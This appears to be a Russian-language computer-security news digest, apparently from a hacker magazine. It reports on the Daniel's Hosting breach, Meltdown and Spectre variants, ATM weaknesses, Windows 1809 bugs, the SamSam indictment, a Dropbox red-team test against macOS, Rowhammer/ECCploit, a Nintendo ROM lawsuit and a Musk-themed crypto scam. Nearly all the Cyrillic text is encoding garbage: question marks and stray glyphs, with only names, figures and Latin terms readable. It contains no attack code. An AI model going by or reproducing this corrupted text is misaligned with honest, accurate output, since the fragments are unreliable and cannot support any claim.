????�?,� ?� ???�?� ??????� ????�??�???� ???�?????.� ???� �???�??�??� ????�
?????粻??????�???�????�??�??�???�????,�??????�?????�?�??�???????�
????� ????�?� ????�??�??�???� ???� ?????� ????�?� ????�??�??�????� ?� ???????�
????�????�???�????�??�??�???�??.
6500�??�??��??�??�?�??�???�????�??�?
??�??�???
?� ??????�?� ????�?� 2018� ????� ???� ???�????� Daniel?s� Hosting� (DH),� ??????,� ????�??� ?????
??�???�??�??�??�????�??�??�?�??�?�???�?�???�????�???燜reedom燞osting營I.
??�????�???� ???�???�????�??� ???�???� ????????� ???�??� ?� ??� ?� ???�????� ???�???� ???� ?????�
????,�???�??爎oot?????�??�??�???.��?????�???��???�?????�????� 6500�??�??�??�??�?,
??????�????�??� DH.� ???�????� ?� ???�????�??� DH� ?� ??????�???� ????�??,� ???� ???????� ?� ????
??�???.
???�?�??????�??�?�?燜reedom燞osting營I��17�???�??????�??�??�??��??�??�?,�?�????�
???�????�???�????,�??�???????�?�%.
?????�?????
MELTDOWN�
SPECTRE
???�????�?� Meltdown� ?� Spectre,� ???????�??� ?� ???????� ????� ????�?????�?
?�???�?�18�???,�???�???�???�??�????�???,�???�??�?????,�??�????�
?????�?� ???� ???�????�??� ???�??�???� ???�?� ???�????�???�??� ????�???
?�?????�?�???�???�??�???�???�??�???�??�????�?????�?�???�?.
??�???�???�??�???�?�????????�??,��??�??�??????�??�?�??�??????�
??,�???�????�??�??�?????�??�???�???燤eltdown�燬pectre,�???�??�???
???�??,� ?� ???????� ???�???� ??????�???� ???�???�??�??� ????�????� ?� ???�??.
??????�?�?????�??�?�???�????�???�???�???�?燤eltdown�燬pectre.�??
???�????�?��??�????�??�????�????燤eltdown,��??�???��????�???
????� ??� Spectre.� ?????� ????,� ???� ???�?� ????� ????�???�?� ?� ????� ?� ???????
proof?of?concept�??�??�???.
???�??� ????�????� ???�????�?� ???�?????� ??????� ???�??�????� AMD,
ARM� ?� Intel.� ???,� ?????�???�???� ???�???�?� ????� ??????� ??� Skylake� i5?6200U
?燞aswell爄7?4790,燫yzen�50X�燫yzen燭hreadripper�20X,��??�?燦VIDIA燡et?
son燭X1.
???�??�?�?�??�???�???,�????�???�???�??�?????�?�??�????�????
Meltdown?????,�???�?�?�??�??�??�??�?�??�??�?�?????�????.
Meltdown
?� ?????�?� ????�???�??� ???�?????�??� ????�???� Meltdown� ????�?� ??????
???�???,�?�??????�??�??�??�?????�?�?�??????�???�??�??????�????
????�?�??????�??�???�?�????�???�???�??�??�???�???:� L1TF�(L1燭ermi?
nal燜ault),�??燜oreshadow,�?�????�,�?�????�2,��??�?燣azy燜P.
??�??�???�???�???�??�???�?�??�??�????�????�???�??�?,�???�????�
???� ??� ???,� ??� ?????� ?????� ????�?????� ????�??�???� ???� ????� ???�????�?,
?�????�??�???�??�????�?,�??????�????�?�??�????�???�??�??��????�
????�???�??�????.��??�?�??�???�??????�??�????�???�???:
? Meltdown?BR��????�????�???�??????�?燤emory燩rotection爀Xtensions
(MPX)� ?� ???�??�????� ?86� Intel� ?� AMD,� ???�?� ??????�?� ???�????�?� ????�
??????�??�???�??�??�??�??
? Meltdown?PK� ?� ???�?????�?� ????�?� ???�??�???� Intel,� ???�???�?� ????�?
???�?�?????�?????�(Protection燢eys爁or燯serspace,燩KU).
Spectre
???� ?� ?� ???�??� Meltdown,� ???� ????�???� Spectre� ??� ???�??�??� ???�?� ????
????� ???�???� ???�??�??� ???�??� ????�???� ???�??�??�??,� ????�??� ??????
?????�???燬pectreNG,燬pectreRSB,燦etSpectre.
?�??�??�??�??�??�?????�?�??�??�?��??????�??�???:�???�??�????�
??��????�????�???�???�?�??�????�????�???�???�???�???,�???�????�
???� ??� ???,� ??� ?????� ????�?????� ???�????� ??� ??� ????� ???�????�?� ?� ?????
?????�??�??????�?�???�???�?.�????�???�??,��??�???�??�?�??�???
???�?????�??�????�????�???:
? Spectre?PHT��??�??�??�???燩attern燞istory燭able?
? Spectre?BTB��??�??�??�???燘ranch燭arget燘u?er?
? Spectre?RSB��??�??�??�???燫eturn燬tack燘u?er?
? Spectre?BHB��??�??�??�???燘ranch燞istory燘u?er.
?�??�?�????�???�???�????�?�???�????�???�??,�??�?�??????�??�???
?�??�???�?燩attern燞istory燭able�(PHT?CA?OP,燩HT?CA?IP�燩HT?SA?OP)��??
???���??�???燘ranch燭arget燘u?er�(BTB?SA?IP,燘TB?SA?OP).
???�?????�?� ???� ???�???�?� ?� ???�?� ???�???�??� ?????�??� ????� ???�????
???�???�???�??.� ???� ????� ?� ???�???� ???�???,� ???� ?????� ???????�??� ?????
?????�??� ???????,� ???????� ?� ??????� ???�??� ???�????�????� ???�??�??�??
?????� ????�??,� ??� ??????�?� ???� ???�??.� ??????�???� ???�????�??� ???�??
???�?�??�???��??�???�???.
??�????�?,�??��????�?�??�營ntel�???�???,�??�??�????�??�???�?????�
???� ???????� ???�??� ???�???� ?� ???�??,� ?� ???�?????�??,� ???�??�?,� ???�????�
????�?�??????,�??�????�??�??????�?�?????�?�????�??�??.
??�??�???�???�???�???�%�??�??????
??�???�?� ???�????� Positive� Technologies� ??????� ???�?????� ???�???� ???????�????� ???�?????�
???� ???�??????.� ???� ???�?� ???� ???�???�?� ???�???� 26� ???????� ???�??????� ????�??�??� ????�
????�???�??�(NCR,燚iebold燦ixdorf,燝RGBanking).
??�???�???,� ???� ????�????�?� ???� ??????�???� ???�???� ?????� ????� ???� ???�?� ??????�???
???�?????�?�??�???,��??�???�?????,�??????,�??�?�??�?�????�?????�?�????�???�???�
???牜?????�??????�????�.�???��??,�??� 85%�??�??�??�????�??�?????�??�????�????�
???�???�?????��??????��????.
15�?��??�??????�??????�???�?????�?�??�??????�???燱indows燲P.
22� ??????� ???�???� ?????� ???????� ???�??�??,� ??� ????� ???�?????� ?????� ??????�?� ???�???�
????�?� ?� ??????�???� ?????� LAN� ?� ?????�???� ?????�????�??� ????�?????.� ???�??� ???� ??????�
?????�????�??�?�?????�??�?�??�?��????.
18�?????�??�??�???�????�??�???�???燽lack燽ox,�?�???,�??�??�??��??�?????�??�?????�
???�?????�???,�??????�???�??????�??�?????�?,�??�?????�????�??�?????�??�???????
?????�??.� ?????�???�???� ????�???,� ???� ???� ???�????� ??????� ?????�??�?� ?????�?� ???�????
Raspberry燩i,燭eensy�??燘eagleBone,��??�?�?????�?�??�?��????.
20� ???�??????� ???�?� ?????�?� ??� ??????� ????�?,� ????�?� ???�??�??�???� ?� ???� ?????� USB
???� PS/2.� ???�?� ???�?� ???�?????� ??????�?� ???�??� ?� ??� ?� ?????� ?????�???� ?????� ???�??
?????�?.
24� ??� 26� ???�??�??� ?????� ??� ???�???� ???�??� ??� ???�???� ???�??,� ?,� ????� ???�???�?????
?????�???????�??????�??�??�??��??�?,�?�????�??????�????�??�???�??�??�??�??
?�??�?????�??.
WINDOWS��??
???�?�???????
?????????
?�??�??�??�???�??�??????�??燱indows��09�(???�?燱indows�燨cto?
ber燯pdate)��??�??�??��??�???�????�?????�?�??�????�??�?.�?????�
??,� ???� ????�??� ??????� ???�??� ???�?� ????�?????�??,� ?� ???�???� ???�?????
???�???�?� ????�????,� ??�?????�???� ????????� ?????,� ???�????� ????�???
?�???�???燴IP��??�????.
?� ??????�???� ???�?????�?� Microsoft� ????�???�?� ???�??????�????
???????�??��???????�??�??????�??,�????�??�??�????�?�????�???�??
????�???.�?????�??�??�??�??�09�???�?????�???�?�???��?????�?
????�?,� ????�?� ????� ??????� ???�?� ???????�?� ??????.� ?� ?� ??????�??,� ???�?
????�???,� ???� ???�?� ???????�?� ?� ??????�????� ?????�???� ?????� ?????�???
????�?�?�???�?�????�???�??.
???,� ?� ??????�????�??� ???�??� 1809� ???�???�???� ????�???� ?� ??????�?
???�???:� ?� ???� ???�????� ?????�????� ???�??�???�?.� ?� ???� ???�???� ??????�
????�???��19�???.�??�?�?????�????�??�?????�???�?�??????��???�
????�?� ????�????� Radeon� HD� 2XXX� ?� 4XXX:� ?� ???� ???�???�???� ????�????
????�???� ?� ???�???�?????�?????,� ?� ???�???� Edge� ?????� ??????�??�?????
????�?.� ???�?� ????,� ???�????� ????�???� ?� ???�????�?????� ?� ??????
??????�??燭rend燤icro,�??燨?ceScan�燱orry?Free燘usiness燬ecurity.
??�?�???,�??�?�????�??,�??�???????�??�??�??�09�??�????�?�???�
????�?� ????????� ?� iCloud� ?� VPN� ???�????� F5� Network.� ?????� ???�?� ????�
???????�????� ???????�??� ????� ???�??�?� ????�?????� ???� ????�?????�??,
?� ???????� ????�??�???� iCloud� ???� Windows� ???�??� 7.7.0.27,� ?� ????�?????�??
?�??�???????�??�?�???�?�????�???�?????�??�??�??�??爄Cloud.�??
???�????�??�??�???�?,�??�??�?????,�??�?�?�???�??�????.
???�??�??�??� ??� ??????� ????� ????�?????�?� ????�???,� ???� ??� ?????
?????????� ?� ???�??�???�?????� ????� ???�???.� ????�??�???�?� Microsoft
?燗pple�??�?????�?�??�??�?????�?�???�???.
???�?� ????,� ???�????�???� Microsoft� ???�???�???,� ???� ????�???� ?� ????�
?????�?????�??????�???�??�???�???��燰PN�??�????燜5燦etwork�(????�
????�????�?????�????�????��????).�?�???�???�??�?????�??燜5燦et?
work�????�??�??��??????,�?�?�??????�???�?�????�??,��???????�??
???�??�09�???�????�????�??�???�?????�??燰PN�??�????.
??�??�?�??�????�?��??�????�?
??�???????�??�????燗BBYY�????�?�??�???????�??�???牜???�???�???!�.�??�??�?�???�
?????�?��??�????�?��??�??�??��???�???�?????.
?�?� ???�????�???� ??????�???�?� ??� ???????,� ??� ?????� ??� ????� ????� ???�??.� ???�?????�
????�???�??�??�???,�?�????�?�???�???�???�???�??????�???�?�??�?�????.�?�??�?
??????.�??�?�??�?????�?�????�????�??�?:�????�?�??�?????,�??�?�??????�????��??
?????.�?�?�???�???�???�?�???�??�??�??.�?????�???�??�????????�???�????��???�???�
??,�?�????�??�??.�??�??�????�??�??�???�??�???�?�??,�??�?�??�??�???�??�???�?,
???�?� ???� ???�?????� ????� ?????�??� ???�???� ?????� ????????�?.� ?� ???� ??????,� ???�?� ?????
??????�??�??�??�????,�????�?????�???�???,�??�??�?�????�???????�???,�??�???�??
??,� ???� ????� ??????�?� ????�??� ???�????�?????.� ???� ???�????� ???�?????�?� ??????�?.� ??
?????�????�???????,�??�??�???�?�
?�????�?,�???�?????燗BBYY
?�???????燬AM?
SAM�???????
???????
??�??�???�??� ????�??� ???� ????�?� ????�???� ?� ???�????� ?� ???�???�??
?????�??�?� ???�?????�???� SamSam� ????� ????�??� ???�?,� 34????�???
???????�?�???�????�?�(Faramarz燬hahi燬avandi)��????�???�????�???
???�?� ???� ???�???� (Mohammad� Mehdi� Shah� Mansouri),� ?� ?????�??�?� ??
????�????.
???�?????�??� SamSam� ????�??� ?� 2016� ????� ?� ????????� ????�???� ???�???
??� ???????�???� ?� ???�?????�????�??� ???????�??.� ????� ???�?� ???�???�?
SamSam� ????�??�?� ????�?????� ?� ????� ???�?????� ???�????� ?� ????�???�??
(??????�??� ?????�???� ???�????�?� ???� ???�????)� ?� ????�??� ??????�?� ??
??????�????.�??�??�??�?�???�?�?????�???�??�?????�??��??�????�??
?????�??,� ??� ???�??� ????�??�?� ???�???�????�?� ??????�???�?
??�00�?��0�??�????,��?????�??�?�?�??�??�??�??�?.
??�??� ??????�?� ????� ???�???�?� ???�????� Sophos� ????�?????�?� ?????,
?� ???????� ??????�???� ???�??�???� ??????� ???�???�????�??.� ???�????� ????�
???� ??????�??,� ??� ???� ????� SamSam� ???�??� ???�?� ???�???�??
??� ?????� 6� ???�?????� ???�????� ?� ???????�????� ????�????�??� ?????�?� ????�
???�??�??�??�???�?�????��??�???��??�?????�??�????.
??�???� ????� ????�????� ???�?� ?????�???�?� ????�????� ??� ???�?� ????�
??????� ?????�?,� ????�??� ???�??� ?� ?????� ?????�????� ?????�????�??
?� ??????�?????�?� ????�???�??� ???????� ????�????� ?� ????�??????�??� ????�
????�??�??�?�??????�??�????�??�??.�??�??�??�???�?????�???????�
??��??�?,�??�?�???�???�?????,��???�?�??�?????�?�?�??�?��???�
???�????�???�???�???�????�??.
????�??�???�?� ?????�???�??� ????�??� ??????�???,� ???� ?� ???�?� ???�???�
???�??� ??� ????� SamSam� ????:� ????�?� ???????,� ?????�?� ?� ????????�?,
?????�???�??� ????�???�?� ??????�?,� ????�???�??�??� ????�???� ???�????,
????� ????�????�??�??� ??????�????� LabCorp,� ????�???�??� MedStar� Health,
?�??�?�???�????????.
FLICKR�???�????�???�???�??��00�???
???�????燜lickr�?????�???�???��???�?????�??�??�???�??� 1�????�???�????�??,�??????
????�?�??�??�?????�?�???�??,�??�?�??�??�?�??�????????�??.
????�?� ???????�?� ????�????�??� ?� 8� ????�?� 2019� ????� ?� ???�???�??� ????�?????�??� ??????�?
?????�???�???�??:�00�???.�??�?�??�???�19�???燜lickr�????�???�???�??�?�??�???
?????�????,�?????�??�?�???�????,�??????��????�??�??.
???�???�??�????????�??燜lickr�??�?��??�????��??,��?�??�???�?�???�???????�??????�
??�???�??????�??�???�????�??�??�??�????�???��????.�???�????�???��??�?????�??
???�??????,��?????�??�??�?��????.
???????燚ROPBOX
?�??????燗PPLE
???�?�??????�????燚ropbox�???�????�(Chris燛vans)�??�??�??��??�?�???�
?????�?�???�??�??�???�??,�??????�??�?????�??�??�??�?????�?�???.
???�?�????�?燚ropbox�??�???�?�??�???�??�??�???��???�?????�?�???�
???�??� ??????�?????�??� ??� ???�????� Syndis� ?� red� team� ???�??�?� ???�?????
????�??�???�?????�?????�??�???.
??�???�??�?�?�??�??,�??�??�?????�?燬yndis�???�??�?��??�?�?????
???�???�?� ??????�???�?,� ???� ????�????� ???�?� ???� ???�????�?� ??????�?� ???
?� ???�??�??� Apple� ?,� ????�?????�??� ???�??�??� ???� ???,� ???�???� Dropbox
?????� ????�??.� ???�??�??� ??????�???� ????� ???�?????�?� macOS� ????�?
???�??� 10.13.4� ?� ??????� ???�???????� ?????�???� ???�?????�??� ???� ?� ????�
????�??�??,�???�???????�?�??????�?�?�??�????�??�???.
???�??� ????�????�??� ??????�???� Syndis� ???�??????� ??????�?� ?????�
??????�??燙VE?2017?13890.�???�??�??�????�?????�?????燬afari�??�????�
????�??�???�??�???�??��??�???�???�???�??�?????�??�???�?�??�?.
???�??�???�???�??�?�???�?????�??燙VE?2018?4176��?????�???�???�
??????�??� ???�?� ???� ?????�?� ???�???�??� ???� ???�??????� ????�?????�?.
???� ???�?� ????�?????,� ???�?� ???�??� ??????�?� ???�????�??� ????.� ???�?
??� ???�?� ????????� ?� ???,� ???� Gatekeeper� ???�????� ?????�???� ????�?� ??� ????�
????�??,�??????�??�?????�????�??�?�??�????�?????.
??????????? ??????
?
? �?????�?????
???�??�??��???�????�?�??�??�???,燙VE?2018?4175,�??�???�?�??????�???�
??????� ?????� ???�??????� ???�??� ?� ?????�???� ???�???�??,� ???????� ??????
???�???�?� ???????�???.� ?� ???�?� ???�?� ?????� ????�???�?� ?� shell??????�??
?�???�???燝atekeeper�?��??.
??�??�??�??�?�??�??�??�????�?�???�?,�??�?�??�???�燩oC??????.
???�?????�?燚ropbox�燬yndis�??�???�?燗pple��??�??�??�????�??�
???�?� ???�???� 2018� ????,� ?� ?� ???�?� ???�?� 2018� ????� ???�????�?� ????
??????�???.� ????� ??� ???�?,� ?????� ???�???�??� ?????�??� ?� ???�??�???
???????�??�?�???�???�????�???�??�???�??,�??�????�???�???燬yndis
???�?� ????�???�?� ???�??????� CVE?2018?4389,� ????�??�??� macOS� Mojave
10.14.� ????� ???� ???� ???�??� ?� ????�??�??� ???�????�??� ?????� ?� ?????� ????�
??????� ???�???� UI.� ???�??????� ?????�???� ????� ?????�?,� ?� ???�?� ???????
??????�?�???.�??�??�?,�?�??�?�??�???�?????�??�?�??�?????�??�???
???�??��???�????�??????.
??�????�????燗NDROID
???�?????�?� Android� Security� &� Privacy� Team� ????�?????�?� ???�??�???,� ???�????� ???????
???????�????� Android� ???� ??� ???�????�?� ????�???�?.� ????�???� ????�???� ?� ???�??� ???�???
???� ???�????� ???�??�??� ???�????.� ???,� ?????�??� ???�????�?� ????� ????�????� ?� API,� ????�?
????�???�??????�??�??????�??�??????�????,��??�?�??�????�???�??�???�??�??�?????�
??� ???�???�?� ?� ????,� ???� ???�???�???� ??� ???�?� ????????� ???�??� ?� ???�?????� �???�??�????�
???粻 ???�??.� ?� ????�?� ???�????�???�?,� ???� Nougat,� Oreo� ?� Pie� ???�?� ?????�?� ?????�????
?????� ???�???� ??� ??????�??� ???�???�??,� ???????� ?????� ??????�?� ???�???� ???�??????�?
?�??�???��??�?????�?�???�?�???????�?�??�????�????�????�??�??�????.
??�?�?� 1�????�????�?�???�??�??�???�??�(???�??�??�????�???�???燝oogle�???�???�?
???�???)�??�?�??�?�?� 0,5%�?????�??,�?????�???�??�??????�???燗ndroid燢itKat�(4.x),
Lollipop�(5.x)�燤arshmallow�(6.x).
?�?�?�??�?�?????�???�燗ndroid燦ougat�(7.x),燨reo�(8.x)�燩ie�(9.x)�?�??�?�??�????�???
????�????�???�???:�??�???�?�??�??�?�???�?????�???�� 0,25%,� 0,14%�� 0,06%�???�
????�???�???�???�?.
???�???�???�?????�???��????�??�???�??�????�?�??????�?��???�??�??????�????,
????�?�??�???�?�???�??�???�?�??�???�??�???�?�?�??�????�???�?????�?燩lay燬tore.
???�???�???� ???�???�??� ??� Play� Store� ????�?????�?� ???�????�???� ??????�???� ????
?� 0,09%� ???�???,� ???�?� ???� ???�???�??� ?� ????�??�?� ???�???�??� ??� ???�??� ???????�??� ????�
????�?�???�?�61%.
??�?,� ????�?????�???� ??????� ???�???�??� ?????�?????�?� ??� Google� Play,� ???�???� ?� 9� ???
????�?�??�??.
ROWHAMMER
???????燛CC
???� ?� 2014� ????� ?????�???�???� ??� ???�??�?????� ???�???� ?� ???�???� ????�
??????�?�??�?燫owhammer.�?�???�??�?????��???,�??�???�????�??�???�
???�????� ??� ????�?� ??????� ?????� ???�??�?� ?� ????,� ???� ????�??�??�?????
????�????�??�????�?�????�??�???�?��??�????�????��??�???�??�?.
??� ???�??�??� ?� ???� ???� ????� ?????�???�???� ??????� ????????,� ???
?????燫owhammer�????�???�??�???�?????燚DR3�燚DR4,��??�?�?????�
????� ???�??�??�?????� ???�?� ?????� JavaScript� ?� ????�?� ????�???????� ???�??
Microsoft� Edge� ?� ???�????�??� ?????� Linux.� ?????�??�?� ????� ??�?????
Rowhammer,�???�???�?????�???�????�??�?????�??�?燗ndroid.
??�???� ???�?????�?� ??????�??�??�?� ???�??�???� ???�??�?????� ?????�
??????�?� ???�??,� ???�????� ??????�?� ?????� ????�???� ???�?� Rowhammer
???????�???� ?????� ????� ????�?,� ???�????� ??� ???� ???�????�??� ?????�??
???�???.
????� ???�?� ??????�?� ???�???� ECCploit,� ???� ???� ??� ?????� ???�???�?� ????�
??????� ECC???????,� ???????� ????�???�??�?� ???�????�?� ?� ??????�???� ?????�
?????�??�?????�???�????�(????�?)�????,�?�???�?????�?�?�??�?????
????�???� Rowhammer.� ???�?� ???�???,� ???� ???????� ECC???????� ???�???????
??� ???� ??????� ??� Rowhammer.� ?� ???????�??� ????� ??� ???�????�????� ????�?
???�?????�??�?????�??�???�?�???�??�?????�??,�??�??�??��????�??.
????�?� ???�?????,� ???� ??� ????� Rowhammer� ECC� ?????� ????????� ??????
??�???.
??�??�????�?� ECC� ???�????�???�???� ???� Error?correcting� Code,� ??� ????
ECC???????� ?� ???� �?????� ?� ???�????�?� ???�??�.� ?????� ???????�??
??????� ?????�?� ??????�???� ?� ????�???�??� ???�????�??� ???�??,� ???� ???????
???�?�??�??????�??��??�???�??�?????,��??�??�?��??�????.
??�??�???�???�?????�??�??�?�??�??�???�??�??�?????�????,�??�???�
??�??�??�??????�??????????�????�?�?�??�???�?????,�??�燛CC???????
????� ????� ????� ??????.� ???,� ECC� ?????� ????�???�???� ?� ???�????�?????
�?????�??粻 ????� ????�?� ????� ??� ???,� ?� ???� ???�????� ??????,� ??� ???????
???�???�?.� ????� ??� ?� ?????� ???�????� �??????�????粻 ???�?� ???� ????
???????�??�?� (????�?� ??????�???�??� ???????),� ECC???????� ????�???�???
?????��?????�??�???�??,�??�?�???�???�??�?????�??�????�??�??�??
?�????�????�??�??�??�???�??.
??�???� ??????�??� ???�???� ???�???� ????�???� Rowhammer,� ???????
??????�?� �?????�??粻 ???�?� ????� ?????� ???????�??�?.� ?� ???� ???�?????,
?????� ????�???� ???� ??� ???�???�???� ?????� ?� ??????� ?� ????�?� ??� ??????�?
?� ECC???????� ??????????� ????�??.� ??� ????� ?????� ???�?� ???�???�?� ????�?
??????� ECC� ????�?.� ????� ?� ???�?� ?????�???�???� ???�?????�?� ???�??�???�
????�?�??�??�?燚DR3,�??�?????�?,�??燚DR4�??�????�?�????�?�????�
?????.
???�?� ????????,� ???� ???� ????� ECCploit� ????�??�?� ???�??� ?� ???�???� ????�
??????,�??�??�?????�?????�??�??�??�?�?�???�???�????�????�?.�?????�
????�???� ????�???,� ???� ???� ???�???�??� ???�?� ???�???�???� ??� 32� ?????
??� ??????� ?????�???� ???�???� ?� ??� ???�?????� ??????�??????� ????�????�?
???�?�???�?�??�???�?.�??�?????�?�?????�?�???�?????�??�?�??�???�
??????� ECC????????� ?????� ????� ????�???,� ?� ???�???�???�??� ???�???�?
??????�??�??�?????�??�?��??????.
???�??燝OOGLE�????�????�00�????�?�???
???�?????�?� Google� ???�??�?� ???�??�???� ??� ??????�??????� OSS?Fuzz.� ????� ???�??�???
???� ???�????� ???� ????�???�??� ???�???� ?� 2016� ????.� ???� ???�???� ????� ???�????�???� Google
???�??�?????�??燙hromium,��????�??????�??�???�???�??�???��???�?????�?�??�???�
??????�??�????�????�??�??�????.
??�???�???,�??�?�??�??�??�???燨SS?Fuzz�?????�??�?�00�????��??�?????�????�
???�???�??�????.
??�????�?,� ???� ??� ????�????�??� ?� ???????� OSS?Fuzz� ????�???� Google� ???�??� ???�?????�
?????,� ???????� ??????�???� ???�??.� ???,� ???�??� ??????�?????� ???� ???�????� ??� 500
??� 20�0� ???�????.� ?� ????� ??� ???�??�????�?� ?????�?????�??� ??????� ??� ?????� ???�????
??????�????�???��??????�??�燨SS?Fuzz.
�?????粻????????
NINTENDO��0�0
??�??�??�????� ??�??�??�???�?��??�????�???�?�?�???�??�??�??�??,
???�??????�??�???燫OM??�??�??�??,燛muParadise.
???�????� ???�?� ???�?????� ???�????� ???�????� Nintendo,� ???????� ?????�
??????� ?� ????????�??� ???� ???�???� ?� ???????� ??� ?????�?� LoveROMS.com
?� LoveRETRO.co,� ????�??� ??� ?� ??????�??� ?????�???� ????� ?� ???????�??
??????�??????�??�????�????.��???�????�?????�???,�??�??�??�?�????�
????� ????�?� ??� ?????� ?????�???� ???????�??� ????�???� ??????�??� ?� ?????�?.
???� ?????�?� ???�??�?????� ????�???� ?????�??� (Jacob� Mathias)� ?� ???� ????
?�?�??�????燤athias燚esigns燣LC.
????�?� ???�?� ???�??????� ????�????� ??� ???�???� Nintendo� ???� ?????�?
????� ?� ??????,� ?� ??� ????� ???�?????�?� ???�??� ???�??� ???�?,� ????�??� Emu?
Paradise,� ????�??�????� ???�????�???� ????�?????�??.� ????�?� ????�???
?????�???� ??� ????� ??� ?????�?????,� ?� ???�????� ???� ???�?� ????�??�?� ???
?�???�???�????�??.�
?� ????� ??????� ????�??� Torrent� Freak� ????�???,� ???� ???�??� ???�???�?
LoveROMS.com�燣oveRETRO.co�?????�?�?????�?�??�????�????燦intendo
?� ???�????� ????� ?� ???�???� ?????�???� ???�????� ???????� ???�?????�?,
?�??�?�??�???�??�????�??�??�????.
???�????� ???????�??,� ???�??�????� ?� ???�?????�??� ?????�??,� ?????�?
?�??�???�???�???,�??�??�?�???�????��?????�??�??,牜??�??????�???�
????�???�??�??��???�??????�??�?????�??�????�???�???��??????�??
??????�??????� ???�????� ?????,� ?????�??� Nintendo� ?????�??????� ?????�.
?�??�???????�??�?????�??�????��0�0�??�????.
???�????�?�???�???,�??��??�?????�??�???�???�?�???�????�??�?,�,
????�???,� ???� ????�???� ???�?� ??????�???� ????� ??� ??????,� ?� Nintendo
??????�???� ??� ???� ?????�????� ???�???�??� ???�??� ROM????�??.� ??� ????� ??
?????�??�????�??�?????�???�???�?,�????�?????�??�????�??�???�???�
??�??�???�?�??�?�??�??�??�?????�????.
???�?�???,�??�???�??�???????�??�?????��??�???�??�????�??�???�
???,�??????�?????�?�??�????�?????�???????�????�???�??�?燦intendo,
?� ???�?� ???�??� ??� ????????� ???�????� ???� ????� ?� ???�???�?,� ??????�????
?� ??� ???�?????�??,� ?� ????� ??????� Nintendo� ???�?� LoveROMs.com
?燣oveRETRO.co.
????�?�?�??�???�??�??
??� ????�?� ???�?????�??� Group?IB� Brand� Protection,� ?????�?� ?????�????� ??� ???�????� ????�
??????�??????????�?�??�?�?�??�?�????�???�??�????�?�????�0�0�0�??�??�???�
???�?.
Group?IB� ???�?� ???�???�?� ????� ???????�??� ????�??�???�????�??� ????�????� ?� ????�??�??
?????�????�???�???�??�???�????,�???????,�?????�??,�??�????��???�??�???�??�???????�
????.�???�?�營nstagram�?�??�???�?????�???�????�?�%.
???�???�????,
????�????
?�?????�?????�?�???�?�??� ??�???��??�???�?�???�??�????�????�??
???�?,�??????�?????�???�??�????�燭witter.�??�?�?????�?�?????�?,�??
????�????�?�??�???��???�??�??�???�??�???�??�??�???,�??????�???�
????�?�??�?????�???�???�??�?????�????�???�??�?????.�????�??�???�
???� ??????�?� ??� ????� ????� ????�????,� ????�????� ????�?????�??� ??????�???�
????��??�???�??�??�???�???�?????�?.�??�???�??��??�???,�????�?�?,
???�?�??????�?�??�???�????�?�???�??�???�????�??.
?�??�??��??�??�????�???�??�?????��??�????�????�???�?�???�?
?????�?�?????�????�???�????,�?��??�?????�?????�??�??�?��???牜??
???�??�???�?????�?!�.�??�?��????�??�??�??�????�?��???�??�?????�
????燭witter,�?,�??,�???�????�?�??�?????�??�?.
???�????�?燘leeping燙omputer�??�??�???,�??�?????�???�????�?�??�?
???�???�???� ???�???� ???�?.� ???� ????�???�?� ??????�???�??�??� ????�???
???�??� ????�?????�??� ?� ???�????,� ????�?� ???� ??� Elon� Musk,� ?� ?????� ????�
????�?�?�??�?�??�?��???�??�??�???�???�?????�?���0�??�???�
???.� ?� ????� ??????� ?� ???�?� ????�??�??� ????�??� ???????� ???�?????� ???�?
Marathon燗rtists,�???�???�???燩antheon燘ooks,�???�??�??�??�???�????�??
Matalan.
?� ????�????� ?????�????� ??????�???,� ???� ??????�???� ???????�??� ????�
?????�??�??�??��??�?�??�?��??�?�??�?燭esla.
???�?� ????,� ?????�?????�?� ????�?� ???�??�??� ???� ????�??� ???????� ????�
??????�????�??� ???????�??,� ????�??� ????�???� ?????�??�??�?� ?????�???�??
????�???�?��???�????�???�??????�??�?�??�??????�??�???�???�??�???�
???� ????�???� ?????.� ?????� ???� ??????� ????�?????� ???�????� ?� ???�???�?
???�???�???�??�?,�??�????�????????�??????�????�??�???�???�?.
????�????� ???�???� �??�?� ???�?粻 ????�?????� ???�?� musk.plus,� musk.fund
?爏pacex.plus.�???�??牜???�???�???�?????�?粻???�?????�??�?,�??�???�?:
???�?�??�?????�????�???�?�???�???????�??�??�????�???�?�??�??�??
?????�?�1�?�TC,���????�?�??????��?30�??�???�?.
??�??� ????�???� ??� ????� ????,� ???� ????�???� ???�????�?,� ?� ???� ???�?
??�???�???�????�???�?????�?�??�?�0�?????�??�?�????�AGE12g?
tYV?zicQSDQmnPHYfA29bu8Da� ?� �?????�???粻 ?????� ????�??� 28� ???�??�??
(???�??�?�0�0�??�????�?�?????�?�??�?).
???�?�??�???,�??�????�燭witter�???�?????�??�??�?????,�???�??????�
????�????�??�???�???�???????�???????�??�?燛lon燤usk,�?,�?????,�??
???�?�???�??�???�?�??????�??�?�????�????.
???�??�???�??�??�??????�?????
???�?????�???� ???�???�??� ?????�????�??� ???�?� 3ve,� ???�??�??� ?????�?� ???�?????� ???�?
???�???�??
??�??�?�??�??�??:�?????�????�???燬MB????�?,�??�?�?????�?????�??�??�????�??�???�
???�??�??
???�???�??�??燗ndroid,�??�?????�???00�0�0�???�????,�??????�???��??�?????
???�?
??�??�???�???��??�?????�??�?????�???:�???�??�??�?????�?�??�????燬ennheiser
???�????�???燙hrome�燜irefox�??�??�???,�??�????�??�????�?�???�???�?�?�??�??�??燜TP
????�??�???�???�?� ???� ????� ???????�??� JS????�????�?:� ?� event?stream� ???�?� ???�??
???�??�?�???�?????�?��?????�??燙opay
???�?????�??� ???�????� ????�??�??�??�??� ????� ???�??� Google,� ???� ???� ???�????� ??� ???�???�
????��???????�??�???????�???�??�??????�???�??�??�???
�??�??� ???�???粻 ???�???:� ?????� 400� ???�??� ??????�???� AliExpress� ?� ???� ???� ???�?� ???�??,
???�?????�???�??�????�???�???�?��??????????????�?
???�?????�?� Recorded� Future� ?????�??�?,� ???� ?????�???�???�???� ??????,� ???�??�???� ????
MySpace�燚ropbox��16�???
????�???�??� ???�???�??� VPN????�???�??� ?� Google� Play� ?� App� Store� ??� ??????�?� ???????
?�??�?????�??
HEADER
???????�?????
????????燯nixoid�燤obile
zobnin@glc.ru
ANDROID
??????燝OOGLE��???????,
???????�???????燞UAWEI
?�????????�??????
??�????燢OTLIN
??�??�?� ?� ?????�?:� ????�??� ?� ???,� ???� Google� ?????�????� ?????�?� ?� ????�
?????,� ??????� ?� ????�??� ???�??�????�?� ???�????�?� Huawei,� ????� ??� ????�?
?� ???�??�?????� ?� ???????� Frida.� ?� ???�?:� ???�????� ???�??� ?� ???????
